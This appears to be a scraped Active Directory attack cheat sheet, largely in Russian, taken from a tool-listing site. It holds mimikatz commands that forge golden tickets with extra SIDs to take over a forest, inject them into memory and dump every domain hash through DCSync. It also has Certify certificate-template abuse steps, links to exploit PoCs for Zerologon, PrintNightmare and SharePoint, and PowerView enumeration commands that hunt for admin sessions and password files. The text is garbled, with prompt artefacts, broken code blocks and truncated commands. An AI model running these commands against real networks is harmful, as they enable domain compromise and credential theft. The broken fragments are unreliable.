#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain dir \dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all

root@kitploit:~
Detailed Articles:

- [Kerberos Golden Tickets теперь более золотые](https://adsecurity.org/?p=1640)
- [Руководство по атаке на доверия доменов](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)

### Эксплуатация SharePoint

- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) Эксплуатация RCE \
  [PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Выполнение кода через десериализацию BDC
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE с использованием typeconverters \
  [PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)

### Zerologon

- [Zerologon: неавторизованная компрометация контроллера домена](https://www.secura.com/whitepapers/zerologon-whitepaper): Белая книга уязвимости.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): Реализация эксплойта Zerologon на C#.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Реализация эксплойта Zerologon на PowerShell.
- [Zer0Dump](https://github.com/bb00/zer0dump): Реализация эксплойта Zerologon на Python с использованием библиотеки impacket.

### PrintNightmare

- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Детали уязвимости.
- [Реализация PrintNightmare с использованием impacket](https://github.com/cube0x0/CVE-2021-1675): Надежный PoC PrintNightmare с использованием библиотеки impacket.
- [Реализация CVE-2021-1675 на C#](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): Надежный PoC PrintNightmare, написанный на C#.

### Службы сертификации Active Directory

**Проверка уязвимых шаблонов сертификатов с помощью:** [Certify](https://github.com/GhostPack/Certify)

_Примечание: Certify также можно выполнить с помощью команды `execute-assembly` Cobalt Strike_```powershell
.\Certify.exe find /vulnerable /quiet

Убедитесь, что значение msPKI-Certificates-Name-Flag установлено в "ENROLLEE_SUPPLIES_SUBJECT", а права на регистрацию (Enrollment Rights) разрешают Domain/Authenticated Users. Кроме того, проверьте, что параметр pkiextendedkeyusage содержит значение "Client Authentication", а параметр "Authorized Signatures Required" установлен в 0.

Эта эксплойт работает только потому, что данные настройки разрешают серверную/клиентскую аутентификацию, что позволяет атакующему указать UPN администратора домена ("DA") и использовать полученный сертификат с помощью Rubeus для подделки аутентификации.

Примечание: Если администратор домена находится в группе Protected Users, эксплойт может не сработать должным образом. Проверьте это перед выбором цели DA.

Запросите сертификат учётной записи DA с помощью Certify```powershell .\Certify.exe request /template:

Скачать инструмент
  • Перечисление групп и участников групп: ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt

    #Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName

    #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName

    #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain

    #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName

    root@kitploit:~
  • Перечисление общих ресурсов: ```powershell #Enumerate Domain Shares Find-DomainShare

    #Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess

    #Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords

    root@kitploit:~
  • Перечисление групповых политик: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName

    #Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName

    #Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName

    root@kitploit:~
  • Перечисление OUs: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name

    root@kitploit:~
  • Перечисление ACL: ```powershell

    Returns the ACLs associated with the specified account

    Get-DomainObjectAcl -Identity -ResolveGUIDs

    #Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs

    #Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"

    root@kitploit:~
  • Enum Domain Trust: ```powershell Get-DomainTrust Get-DomainTrust -Domain

    #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping

    root@kitploit:~
  • Enum Forest Trust: ```powershell Get-ForestDomain Get-ForestDomain -Forest

    #Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest

    root@kitploit:~
  • Охота на пользователей: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose

    #Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose

    #Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName

    #Confirming admin access Test-AdminAccess

    root@kitploit:~